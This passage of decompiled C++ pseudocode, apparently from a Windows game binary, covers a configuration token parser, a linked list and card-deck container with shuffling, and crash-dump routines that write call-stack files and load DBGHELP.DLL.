this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v1 ) break; result = this->ortr_LineBuffer.orlb_Buffer[v1]; this->ortr_LineBuffer.orlb_Pointer = v1 + 1; if ( result == 999 ) break; v3 = this->ortr_Argument; if ( result == v3->comment.orc_Comment ) { this->ortr_LineBuffer.orlb_Pointer = 0; this->ortr_LineBuffer.orlb_LineLen = -1; } else { if ( result >= 32 ) { v4 = v3->delimiter.ord_Number; v5 = 0; if ( v4 <= 0 ) return result; while ( v3->delimiter.ord_Array[v5] != result ) { ++v5; if ( v5 >= v4 ) return result; } } } } return 999; } //----- (005583A0) -------------------------------------------------------- void __thiscall ORTokenReader::ortr_SetError(ORTokenReader *this, char *err) { TokenArgument *v2; // eax@1 v2 = this->ortr_Argument; v2->errmsg.orem_Message = err; v2->errmsg.orem_Err = 1; } //----- (005583C0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber8(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@6 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 ) break; if ( v4 > 55 ) break; v2 = v4 + 8 * v2 - 48; *result = 1; } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (00558420) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber10(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@6 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 ) break; if ( v4 > 57 ) break; v2 = v4 + 10 * v2 - 48; *result = 1; } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (00558480) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber16(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // esi@2 signed int v4; // edx@3 int v5; // edx@12 v2 = 0; while ( 1 ) { v3 = this->ortr_LineBuffer.orlb_Pointer; if ( this->ortr_LineBuffer.orlb_LineLen < v3 ) break; v4 = this->ortr_LineBuffer.orlb_Buffer[v3]; this->ortr_LineBuffer.orlb_Pointer = v3 + 1; if ( v4 < 48 || v4 > 57 ) { if ( v4 < 65 || v4 > 70 ) { if ( v4 < 97 || v4 > 102 ) break; v2 = v4 - 87 + 16 * v2; *result = 1; } else { v2 = v4 - 55 + 16 * v2; *result = 1; } } else { v2 = v4 - 48 + 16 * v2; *result = 1; } } v5 = this->ortr_LineBuffer.orlb_Pointer; if ( v5 > 0 ) this->ortr_LineBuffer.orlb_Pointer = v5 - 1; return v2; } //----- (00558510) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetOctal(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 ) break; if ( v5 > 55 ) break; ++v3; result = v5 + 8 * result - 48; if ( v3 >= 3 ) return result; } return 999; } //----- (00558560) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetDigit(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 ) break; if ( v5 > 57 ) break; ++v3; result = v5 + 10 * result - 48; if ( v3 >= 3 ) return result; } return 999; } //----- (005585B0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_GetHexa(ORTokenReader *this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@1 int v4; // esi@2 signed int v5; // edx@3 int v6; // edx@5 v1 = this->ortr_LineBuffer.orlb_LineLen; result = 0; v3 = 0; while ( 1 ) { v4 = this->ortr_LineBuffer.orlb_Pointer; if ( v1 < v4 ) break; v5 = this->ortr_LineBuffer.orlb_Buffer[v4]; this->ortr_LineBuffer.orlb_Pointer = v4 + 1; if ( v5 < 48 || v5 > 57 ) { if ( v5 < 65 || v5 > 70 ) { if ( v5 < 97 || v5 > 102 ) return 999; v6 = v5 - 87; } else { v6 = v5 - 55; } } else { v6 = v5 - 48; } result = v6 + 16 * result; ++v3; if ( v3 >= 2 ) return result; } return 999; } //----- (00558620) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadNumber(ORTokenReader *this, char *result) { int v2; // eax@1 int v3; // ecx@1 int v4; // eax@2 bool v5; // zf@3 int v6; // eax@3 int v7; // edx@8 int v8; // eax@9 v2 = ORTokenReader::ortr_SkipBlank(this); if ( v2 == 45 ) { v4 = -ORTokenReader::ortr_ReadNumber((ORTokenReader *)v3, result); } else { v5 = v2 == 48; v6 = *(_DWORD *)(v3 + 2056); if ( v5 ) { if ( *(_DWORD *)(v3 + 2052) >= v6 && (v7 = *(_BYTE *)(v6 + v3 + 4), *(_DWORD *)(v3 + 2056) = v6 + 1, v7 == 120) ) { v4 = ORTokenReader::ortr_ReadNumber16((ORTokenReader *)v3, result); } else { v8 = *(_DWORD *)(v3 + 2056); if ( v8 > 0 ) *(_DWORD *)(v3 + 2056) = v8 - 1; *result = 1; v4 = ORTokenReader::ortr_ReadNumber8((ORTokenReader *)v3, result); } } else { if ( v6 > 0 ) *(_DWORD *)(v3 + 2056) = v6 - 1; v4 = ORTokenReader::ortr_ReadNumber10((ORTokenReader *)v3, result); } } return v4; } //----- (005586A0) -------------------------------------------------------- char __thiscall ORTokenReader::ortr_isEOL(ORTokenReader *this) { int v1; // eax@1 int v2; // ecx@1 char result; // al@4 int v4; // ecx@5 v1 = ORTokenReader::ortr_SkipBlank(this); if ( v1 == 999 ) { LABEL_4: result = 1; } else { while ( v1 == 32 ) { v1 = ORTokenReader::ortr_SkipBlank((ORTokenReader *)v2); if ( v1 == 999 ) goto LABEL_4; } v4 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v4 + 4) = "Extra data exist"; *(_BYTE *)(v4 + 8) = 1; result = 0; } return result; } //----- (005586E0) -------------------------------------------------------- int __thiscall ORTokenReader::ortr_ReadChar(ORTokenReader *this) { int result; // eax@1 int v2; // ecx@1 int v3; // ecx@2 int v4; // eax@4 signed int v5; // edx@5 int v6; // ecx@14 result = ORTokenReader::ortr_SkipBlank(this); if ( result == 999 ) { v3 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v3 + 4) = "Unexpected EOF"; *(_BYTE *)(v3 + 8) = 1; return result; } if ( result == 92 ) { v4 = *(_DWORD *)(v2 + 2056); if ( *(_DWORD *)(v2 + 2052) >= v4 ) { v5 = *(_BYTE *)(v4 + v2 + 4); *(_DWORD *)(v2 + 2056) = v4 + 1; } else { v5 = 999; } result = 999; if ( v5 == 100 ) { result = ORTokenReader::ortr_GetDigit((ORTokenReader *)v2); } else { if ( v5 == 111 ) { result = ORTokenReader::ortr_GetOctal((ORTokenReader *)v2); } else { if ( v5 != 120 ) { LABEL_14: v6 = *(_DWORD *)(v2 + 2060); *(_DWORD *)(v6 + 4) = "Invalid character"; *(_BYTE *)(v6 + 8) = 1; return result; } result = ORTokenReader::ortr_GetHexa((ORTokenReader *)v2); } } if ( result < 256 ) return result; goto LABEL_14; } return result; } //----- (00558770) -------------------------------------------------------- char *__thiscall ORTokenReader::ortr_ReadString(ORTokenReader *this, ORTokenReader::BraceInString readbrace) { ORTokenReader *v2; // esi@1 int v3; // eax@2 TokenArgument *v4; // ecx@2 int v5; // edi@2 int v6; // ecx@2 int v7; // edx@2 char *result; // eax@6 int v9; // ecx@8 int v10; // eax@9 int v11; // ebp@9 int v12; // ebx@9 TokenArgument *v13; // edx@10 int v14; // edi@10 int v15; // ecx@10 int v16; // eax@18 ORTokenReader *v17; // ecx@18 int v18; // eax@21 TokenArgument *v19; // edi@27 bool v20; // sf@29 unsigned __int8 v21; // of@29 TokenArgument *v22; // esi@31 signed int i; // [sp+Ch] [bp-Ch]@7 int v24; // [sp+14h] [bp-4h]@9 v2 = this; while ( 1 ) { v3 = ORTokenReader::ortr_SkipBlank(v2); v4 = v2->ortr_Argument; v5 = v4->ignore.ori_Number; v6 = (int)&v4->ignore; v7 = 0; if ( v5 <= 0 ) break; while ( *(_BYTE *)(v7 + v6) != v3 ) { ++v7; if ( v7 >= v5 ) goto LABEL_5; } } LABEL_5: if ( v3 == 999 ) { result = 0; } else { v2->ortr_Buffer[0] = v3; i = 1; do { v9 = v2->ortr_LineBuffer.orlb_Pointer; if ( v2->ortr_LineBuffer.orlb_LineLen < v9 ) break; v10 = v2->ortr_LineBuffer.orlb_Buffer[v9]; v11 = v9 + 1; v24 = v9 + 1; v2->ortr_LineBuffer.orlb_Pointer = v9 + 1; v12 = v10; if ( v10 == 999 ) break; v13 = v2->ortr_Argument; v14 = v13->ignore.ori_Number; v15 = 0; if ( v14 <= 0 ) { LABEL_14: if ( readbrace == 1 ) { if ( v13->brace.orc_Open == v10 || v13->brace.orc_Close == v10 ) { if ( v11 > 0 ) v2->ortr_LineBuffer.orlb_Pointer = v11 - 1; break; } if ( v10 == 92 ) { v16 = ORLinebuffer::orlb_FGetc(&v2->ortr_LineBuffer); if ( v16 == 100 ) { v18 = ORTokenReader::ortr_GetDigit(v2); } else { if ( v16 == 111 ) { v18 = ORTokenReader::ortr_GetOctal(v2); } else { if ( v16 != 120 ) goto LABEL_31; v18 = ORTokenReader::ortr_GetHexa(v17); } } if ( v18 >= 256 ) { LABEL_31: v22 = v2->ortr_Argument; v22->errmsg.orem_Message = "Invalid character"; v22->errmsg.orem_Err = 1; return 0; } v12 = v18; } } v19 = v2->ortr_Argument; if ( ORDelimiter::operator__(&v19->delimiter, v12) ) break; v2->ortr_Buffer[i] = ORExchange::operator__(&v19->exchange, v12); } else { while ( v13->ignore.ori_Array[v15] != v10 ) { ++v15; if ( v15 >= v14 ) { v11 = v24; goto LABEL_14; } } --i; } v21 = __OFSUB__(i + 1, 2048); v20 = i++ - 2047 < 0; } while ( v20 ^ v21 ); v2->ortr_Buffer[i] = 0; result = v2->ortr_Buffer; } return result; } //----- (00558910) -------------------------------------------------------- ORToken *__thiscall ORTokenReader::ortr_ReadCommand(ORTokenReader *this, ORToken *com) { ORTokenReader *v2; // esi@1 int v3; // eax@2 ORLinebuffer *v4; // ecx@2 TokenArgument *v5; // esi@4 ORToken *result; // eax@4 TokenArgument *v7; // esi@6 char *v8; // eax@7 v2 = this; if ( ORLinebuffer::orlb_LineRead(&this->ortr_LineBuffer) ) { while ( 1 ) { ++v2->ortr_Argument->errmsg.orem_Line; v3 = ORTokenReader::ortr_SkipBlank(v2); if ( v3 != 999 ) break; if ( !ORLinebuffer::orlb_LineRead(v4) ) goto LABEL_4; } if ( v3 == 35 ) { v8 = ORTokenReader::ortr_ReadString(v2, BIS_EXCLUDEBRACE); *(_QWORD *)&com->ort_Name[12] = 0i64; *(_QWORD *)&com->ort_Name[4] = 0i64; *(_DWORD *)&com->ort_Name[0] = 0; strncpy(com->ort_Name, v8, 0x14u); ORToken::ort_ToLower(com); result = com; } else { v7 = v2->ortr_Argument; v7->errmsg.orem_Message = "# comment expected"; v7->errmsg.orem_Err = 1; result = 0; } } else { LABEL_4: v5 = v2->ortr_Argument; v5->errmsg.orem_Message = "Unexpected EOF"; v5->errmsg.orem_Err = 1; result = 0; } return result; } //----- (005589B0) -------------------------------------------------------- char __thiscall ORDelimiter::ord_Exec(ORIgnore *this, ORTokenReader *token) { ORIgnore *v2; // esi@1 TokenArgument *v3; // eax@2 int v5; // eax@4 v2 = this; if ( this->ori_Number >= 32 ) { v3 = token->ortr_Argument; v3->errmsg.orem_Message = "Too many delimiters"; v3->errmsg.orem_Err = 1; return 0; } v5 = ORTokenReader::ortr_ReadChar(token); if ( v5 >= 256 ) return 0; v2->ori_Array[v2->ori_Number++] = v5; return 1; } //----- (00558A00) -------------------------------------------------------- char __thiscall ORExchange::ore_Exec(ORExchange *this, ORTokenReader *token) { ORExchange *v2; // esi@1 TokenArgument *v3; // eax@2 char result; // al@2 int v5; // eax@3 int v6; // eax@5 v2 = this; if ( this->ore_Number < 32 ) { v5 = ORTokenReader::ortr_ReadChar(token); if ( v5 >= 256 || (v2->ore_Array[v2->ore_Number].from = v5, v6 = ORTokenReader::ortr_ReadChar(token), v6 >= 256) ) { result = 0; } else { v2->ore_Array[v2->ore_Number++].to = v6; result = 1; } } else { v3 = token->ortr_Argument; v3->errmsg.orem_Message = "Too many exchange"; v3->errmsg.orem_Err = 1; result = 0; } return result; } //----- (00558A70) -------------------------------------------------------- char __thiscall ORComment::orc_Exec(ORComment *this, ORTokenReader *token) { ORComment *v2; // esi@1 int v3; // eax@1 char result; // al@2 v2 = this; v3 = ORTokenReader::ortr_ReadChar(token); if ( v3 < 256 ) { v2->orc_Comment = v3; result = 1; } else { result = 0; } return result; } //----- (00558AA0) -------------------------------------------------------- char __thiscall ORBrace::orb_Exec(ORBrace *this, ORTokenReader *token) { ORBrace *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 char result; // al@3 v2 = this; v3 = ORTokenReader::ortr_ReadChar(token); if ( v3 < 256 && (v2->orc_Open = v3, v4 = ORTokenReader::ortr_ReadChar(token), v4 < 256) ) { v2->orc_Close = v4; result = 1; } else { result = 0; } return result; } //----- (00558AE0) -------------------------------------------------------- void __thiscall ORErrorMessage::ORErrorMessage(ORErrorMessage *this) { this->orem_Line = 0; this->orem_Message = "Noerr"; this->orem_Err = 0; } //----- (00558B00) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete(v1); } // 596C30: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00558B20) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v3; // eax@2 int v5; // ebx@4 void *v6; // esi@4 void *v7; // eax@5 int i; // ecx@8 void *v9; // ecx@11 void *v10; // edx@11 int v11; // esi@11 int v12; // ecx@13 int v13; // edx@14 int v14; // eax@16 int v15; // edx@16 void *v16; // ST04_4@16 void **v17; // eax@16 ListArray *v18; // edx@16 void *newarray; // [sp+8h] [bp-4h]@5 void *extsizea; // [sp+10h] [bp+4h]@4 v2 = this; if ( this->l_Finger.empty != -1 || (v3 = this->l_ListArray) == 0 ) return 0; v5 = extsize + v3->la_Size; v6 = operator new(4 * v5); extsizea = v6; if ( !v6 ) return 0; v7 = operator new(12 * v5 + 12); newarray = v7; if ( !v7 ) { operator delete(v6); return 0; } for ( i = 0; i < v2->l_ListArray->la_Size; ++i ) *((_DWORD *)v6 + i) = v2->l_ListArray->la_Array[i].c_card; memcpy(v7, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v7 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v5; *((_WORD *)v7 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v5; if ( v5 > 0 ) { v9 = v6; v10 = v7; v11 = v5; do { *(_DWORD *)v10 = v9; v9 = (char *)v9 + 4; v10 = (char *)v10 + 12; --v11; } while ( v11 ); } v12 = v2->l_MaxSize; if ( v12 < v5 ) { v13 = (int)((char *)v7 + 12 * v12 + 4); do { *(_WORD *)v13 = v12 + 1; *(_BYTE *)(v13 + 4) = 0; *(_WORD *)(v13 + 2) = v12++ - 1; v13 += 12; } while ( v12 < v5 ); } *((_WORD *)v7 + 6 * v2->l_MaxSize + 3) = v5 - 1; v14 = (int)((char *)v7 + 12 * v5); *(_WORD *)(v14 - 8) = v2->l_MaxSize; v15 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v14 = *(_DWORD *)v15; *(_DWORD *)(v14 + 4) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v14 + 8) = *(_DWORD *)(v15 + 8); v16 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete(v16); v17 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; operator delete(*v17); v2->l_ListArray->la_Array = (CardDeck::Card *)extsizea; v18 = v2->l_ListArray; v2->l_MaxSize = v5; v18->la_Size = (unsigned __int16)v5; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (00558CE0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, CardDeck::Card *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->c_card; return 1; } // 558CF6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00558D10) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, CardDeck::Card *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->c_card = v2[(unsigned __int16)v3].ls_Content->c_card; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00558D60) -------------------------------------------------------- void __thiscall ListArray::_ListArray(ListArray *this) { if ( this->la_Array ) operator delete(this->la_Array); } //----- (00558D70) -------------------------------------------------------- void __thiscall CardDeck::CardStack::_CardStack(CardDeck::CardStack *this) { CardDeck::CardStack *v1; // esi@1 void *v2; // eax@1 void *v3; // esi@3 v1 = this; v2 = this->cs_Array.la_Array; if ( v2 ) operator delete(v2); v1->cs_deck.vfptr = (ListVtbl *)List::_vftable_; v3 = v1->cs_deck.l_Array; if ( v3 ) operator delete(v3); } // 596C30: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00558DE0) -------------------------------------------------------- void __thiscall CardDeck::CardStack::cs_Suffle(CardDeck::CardStack *this, int num) { List *v2; // edi@1 signed int v3; // ebx@1 int v4; // ebp@2 int v5; // eax@3 CardDeck::Card *v6; // esi@3 int v7; // eax@3 CardDeck::Card *v8; // eax@3 unsigned int v9; // ecx@5 v2 = (List *)this; v3 = this->cs_deck.l_ListNum; if ( num > 0 ) { v4 = num; do { v5 = rand(); v6 = List::l_GetInList(v2, v5 % v3, (unsigned __int16 *)&num); v7 = rand(); v8 = List::l_GetInList(v2, v7 % v3, (unsigned __int16 *)&num); if ( v6 ) { if ( v8 ) { v9 = v6->c_card; v6->c_card = v8->c_card; v8->c_card = v9; } } --v4; } while ( v4 ); } } //----- (00558E40) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertTop(CardDeck::CardStack *this, unsigned int card) { CardDeck::CardStack *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 v2 = this; while ( 1 ) { v3 = v2->cs_deck.l_Finger.empty; if ( (_WORD)v3 != -1 ) { v4 = (int)v2->cs_deck.vfptr->l_AllocA((List *)v2, v3); if ( v4 ) break; } if ( !List::l_Enlargement(&v2->cs_deck, 5) ) return 0; } *(_DWORD *)v4 = card; return 1; } //----- (00558E80) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertBottom(CardDeck::CardStack *this, unsigned int card) { List *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 v2 = (List *)this; while ( 1 ) { v3 = v2->l_Finger.empty; if ( (_WORD)v3 != -1 ) { v4 = (int)v2->vfptr->l_AllocZ(v2, v3); if ( v4 ) break; } if ( !List::l_Enlargement(v2, 5) ) return 0; } *(_DWORD *)v4 = card; return 1; } //----- (00558EC0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00558F10) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00559030) -------------------------------------------------------- char __thiscall List::l_SetListArray(List *this, ListArray *array) { List *v2; // esi@1 signed int v4; // eax@7 int v5; // edx@8 ListStruct *v6; // ecx@10 CardDeck::Card *v7; // ebx@10 int v8; // ecx@10 v2 = this; if ( this->l_Array ) operator delete(this->l_Array); v2->l_ListArray = array; if ( !array->la_Array ) { v2->l_Array = 0; return 0; } List::l_MakeList(v2, LOWORD(array->la_Size)); if ( !v2->l_Array ) return 0; v4 = 0; if ( v2->l_MaxSize ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v4]; } ++v4; ++v5; } while ( v4 < v2->l_MaxSize ); } return 1; } //----- (005590B0) -------------------------------------------------------- void __thiscall CardDeck::CardStack::CardStack(CardDeck::CardStack *this) { CardDeck::CardStack *v1; // esi@1 v1 = this; this->cs_deck.vfptr = (ListVtbl *)List::_vftable_; this->cs_deck.l_ListArray = 0; List::l_MakeList(&this->cs_deck, 1u); v1->cs_Array.la_Size = 5; v1->cs_Array.la_Array = (CardDeck::Card *)operator new(0x14u); List::l_SetListArray(&v1->cs_deck, &v1->cs_Array); } // 596C30: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00559120) -------------------------------------------------------- void __cdecl MiniDumper::MinidumpCallStack(_EXCEPTION_POINTERS *pExceptionInfo) { int v1; // eax@0 char *v2; // edi@1 char v3; // al@2 const char *v4; // eax@3 const void *v5; // edx@3 char v6; // cl@4 unsigned int v7; // eax@5 void *v8; // edi@5 char v9; // cl@6 char *v10; // edi@7 char v11; // al@8 void *v12; // esi@9 void *v13; // eax@10 void *v14; // ecx@10 int v15; // edi@10 char v16; // dl@11 void *i; // eax@12 void *v18; // ecx@14 int v19; // edi@14 char v20; // dl@15 int v21; // [sp-Ch] [bp-244h]@1 void *pkLine; // [sp+0h] [bp-238h]@12 void *hFile; // [sp+4h] [bp-234h]@9 void *pkEnter; // [sp+8h] [bp-230h]@12 char *len; // [sp+Ch] [bp-22Ch]@12 void *lpcStr; // [sp+10h] [bp-228h]@10 char szScratchTest[260]; // [sp+14h] [bp-224h]@1 char szNewCallStackPath[260]; // [sp+118h] [bp-120h]@1 unsigned int cookie; // [sp+21Ch] [bp-1Ch]@19 int *v30; // [sp+220h] [bp-18h]@1 int v31; // [sp+228h] [bp-10h]@1 int (__cdecl *v32)(int, PVOID, int); // [sp+22Ch] [bp-Ch]@1 _UNKNOWN *v33; // [sp+230h] [bp-8h]@1 int v34; // [sp+234h] [bp-4h]@1 v33 = &unk_5D9EE8; v32 = _except_handler3; v31 = v1; v30 = &v21; v34 = 0; GetModuleFileNameA(0, szNewCallStackPath, 0x104u); v2 = &szScratchTest[259]; do v3 = (v2++)[1]; while ( v3 ); *(_WORD *)v2 = stru_598DE4.maa_MobHandle; v4 = GetCurrentTimeString2(0); v5 = v4; do v6 = *v4++; while ( v6 ); v7 = v4 - v5; v8 = &szScratchTest[259]; do { v9 = *((_BYTE *)v8 + 1); v8 = (char *)v8 + 1; } while ( v9 ); memcpy(v8, v5, v7); v10 = &szScratchTest[259]; do v11 = (v10++)[1]; while ( v11 ); *(_DWORD *)v10 = *(_DWORD *)"CallStack.txt"; *((_DWORD *)v10 + 1) = dword_5D9EDC; *((_DWORD *)v10 + 2) = dword_5D9EE0; *((_WORD *)v10 + 6) = word_5D9EE4; v12 = fopen(szNewCallStackPath, "w"); hFile = v12; if ( v12 ) { EHInitSymbolEngine(); lpcStr = 0; v13 = (void *)GetFaultReason(pExceptionInfo); lpcStr = v13; v14 = v13; v15 = (int)((char *)v13 + 1); do { v16 = *(_BYTE *)v14; v14 = (char *)v14 + 1; } while ( v16 ); len = (char *)v14 - v15; fwrite(v13, (unsigned int)((char *)v14 - v15), 1u, (_iobuf *)v12); pkEnter = "\n"; fwrite("\n", strlen("\n"), 1u, (_iobuf *)v12); pkLine = "--------------------------------------------------------------------------\n"; fwrite( "--------------------------------------------------------------------------\n", strlen("--------------------------------------------------------------------------\n"), 1u, (_iobuf *)v12); for ( i = (void *)GetFirstStackTraceString(0xEu, pExceptionInfo); ; i = (void *)GetNextStackTraceString(0xEu, pExceptionInfo) ) { lpcStr = i; if ( !i ) break; v18 = i; v19 = (int)((char *)i + 1); do { v20 = *(_BYTE *)v18; v18 = (char *)v18 + 1; } while ( v20 ); len = (char *)v18 - v19; fwrite(i, (unsigned int)((char *)v18 - v19), 1u, (_iobuf *)v12); fwrite("\n", strlen("\n"), 1u, (_iobuf *)v12); } EHCleanupSymbolEngine(); fclose((_iobuf *)v12); } else { GetLastError(); sprintf(szScratchTest, "EXCEPTION - Failed to Call Stack file '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); } v34 = -1; __security_check_cookie(cookie); } // 5D9EDC: using guessed type int dword_5D9EDC; // 5D9EE0: using guessed type int dword_5D9EE0; // 5D9EE4: using guessed type __int16 word_5D9EE4; //----- (00559380) -------------------------------------------------------- int __stdcall MiniDumper::TopLevelFilter(_EXCEPTION_POINTERS *pExceptionInfo) { HINSTANCE__ *v1; // esi@1 char *v2; // eax@2 int v3; // eax@3 int result; // eax@8 FARPROC v5; // ebp@9 char *v6; // edi@11 char v7; // al@12 const char *v8; // eax@13 const void *v9; // edx@13 char v10; // cl@14 unsigned int v11; // eax@15 void *v12; // edi@15 char v13; // cl@16 char *v14; // edi@17 char v15; // al@18 __int16 v16; // dx@19 HANDLE v17; // esi@19 DWORD v18; // ST08_4@20 HANDLE v19; // eax@20 int retval; // [sp+1Ch] [bp-320h]@1 DWORD ExInfo; // [sp+20h] [bp-31Ch]@20 _EXCEPTION_POINTERS *v22; // [sp+24h] [bp-318h]@20 int v23; // [sp+28h] [bp-314h]@11 char szDumpPath[260]; // [sp+2Ch] [bp-310h]@11 char szScratch[260]; // [sp+130h] [bp-20Ch]@21 char szDbgHelpPath[260]; // [sp+234h] [bp-108h]@1 v1 = 0; retval = 0; if ( GetModuleFileNameA(0, szDbgHelpPath, 0x104u) ) { v2 = _mbsrchr(szDbgHelpPath, 0x5Cu); if ( v2 ) { v3 = (int)(v2 + 1); *(_DWORD *)v3 = *(_DWORD *)"DBGHELP.DLL"; *(_DWORD *)(v3 + 4) = dword_5D9FEC; *(_DWORD *)(v3 + 8) = off_5D9FF0; v1 = LoadLibraryA(szDbgHelpPath); } } MiniDumper::MinidumpCallStack(pExceptionInfo); if ( MiniDumper::FuncForStack ) MiniDumper::FuncForStack(); if ( v1 || (v1 = LoadLibraryA("DBGHELP.DLL")) != 0 ) { v5 = GetProcAddress(v1, "MiniDumpWriteDump"); if ( v5 ) { GetModuleFileNameA(0, szDumpPath, 0x104u); v6 = (char *)&v23 + 3; do v7 = (v6++)[1]; while ( v7 ); *(_WORD *)v6 = stru_598DE4.maa_MobHandle; v8 = 